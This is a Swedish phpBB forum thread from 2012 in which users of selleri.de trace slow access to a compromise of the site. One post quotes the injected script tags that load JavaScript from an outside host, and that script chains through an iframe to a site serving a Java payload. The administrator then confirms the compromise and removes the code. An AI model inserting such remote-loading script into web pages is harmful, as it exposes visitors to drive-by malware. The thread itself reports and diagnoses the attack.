selleri.de
https://www.selleri.de/

Nya problem att komma in....
https://www.selleri.de/viewtopic.php?t=9057		 Page 2 of 2
Author:  Mika [ Mon Oct 15, 2012 20:01 ]
Post subject:  Re: Nya problem att komma in....
Pinsamt, F5 löste problemet. Varför försökte jag inte det tidigare...

Tack!

/Mika
Author:  Sony [ Tue Oct 16, 2012 06:24 ]
Post subject:  Re: Nya problem att komma in....
Det tycker jag inte - bra problem är sådana man löser snabbt :D
Author:  Gule [ Fri Oct 19, 2012 08:32 ]
Post subject:  Re: Nya problem att komma in....
Jag är ganska övertygad att forumet utsatts för någon form av virusattack och att det är det som gjort forumet oåtkomligt emellanåt. Mitt antivirusprogram har detekterat flera intrångsförsök när jag bläddrat runt på forumet utan att ha någon annan sida öppen. Bifogar screenshot. Verkar vara mest Java-exploits. Ni på forumet som kör PC - kontrollera era datorer för säkerhets skull.

Image
Author:  Ayn [ Fri Oct 19, 2012 09:08 ]
Post subject:  Re: Nya problem att komma in....
Tack för rapporten, men jag måste motsäga din teori.
  • Det finns inga tecken som jag kan se från ett administratörsperspektiv på att vi skulle ha blivit utsatta för någon form av lyckat intrång med den effekt som du beskriver.
  • Som vanlig forumanvändare som besöker forumet med diverse anti-malwareprogram påslagna ser jag inte heller några tecken på att något skulle vara galet.
  • Även OM vi skulle haft några problem av denna karaktär, så skulle det inte påverka forumets själva tillgänglighet.
Author:  Bill50x [ Fri Oct 19, 2012 10:26 ]
Post subject:  Re: Nya problem att komma in....
Sådana här saker är inte min starka sida (heller...) men det har stundtals varit väldigt segt här de senaste dagarna. Däremot har jag inte fått upp några "Error-sidor" utan det tar bara mycket längre tid innan det händer något.

/ B
Author:  Gule [ Fri Oct 19, 2012 12:01 ]
Post subject:  Re: Nya problem att komma in....
Nånting skumt är det iaf. Det öppnas en massa IP-koppel mot seirnews.com, vilket inte var en allt för angenäm sida att gå in på.
Author:  Bill50x [ Fri Oct 19, 2012 13:10 ]
Post subject:  Re: Nya problem att komma in....
Gule wrote:
Nånting skumt är det iaf. Det öppnas en massa IP-koppel mot seirnews.com, vilket inte var en allt för angenäm sida att gå in på.
Förstår du vad som står där?

/ B
Author:  Gule [ Fri Oct 19, 2012 13:20 ]
Post subject:  Re: Nya problem att komma in....
Nej, men bilden på förstasidan såg inte så mysig ut.
Author:  joda [ Sat Oct 20, 2012 11:22 ]
Post subject:  Re: Nya problem att komma in....
Jo, forumet verkar ha råkat ut för något hack/exploit.

Längst ner i varje tråd så finns koden:

<script>function delayer(){
window.stop();
}</script>
<script language="javascript" src="http://mandana.eu5.org/if.js"></script>
<script>setTimeout('delayer()', 10000) ;</script>


Det javaskriptet gör i sin tur en iframe runt:
http://mandana.eu5.org/images/images.php

Vilket i sin tur gör anropen mot seirnews.com och där hämtas en Java/Loic

Vill man se det tydligare så är det bara att installera/slå på Firebug eller Tamper Data i firefox.
Author:  Ayn [ Sat Oct 20, 2012 19:05 ]
Post subject:  Re: Nya problem att komma in....
Tack för rapporten, och jag får krypa till korset och konstatera att ni har rätt. Jag har identifierat vilken fil som ändrats, det gjordes den 15/10, och har tagit bort den skadliga koden. Tyvärr vet jag inte ännu på vilket sätt det har gått att genomföra angreppet - jag har några teorier dock, så ska ta itu med att analysera vidare när febern gått ner från 40 grader...
Page 2 of 2 All times are UTC+02:00
Powered by phpBB® Forum Software © phpBB Limited
https://www.phpbb.com/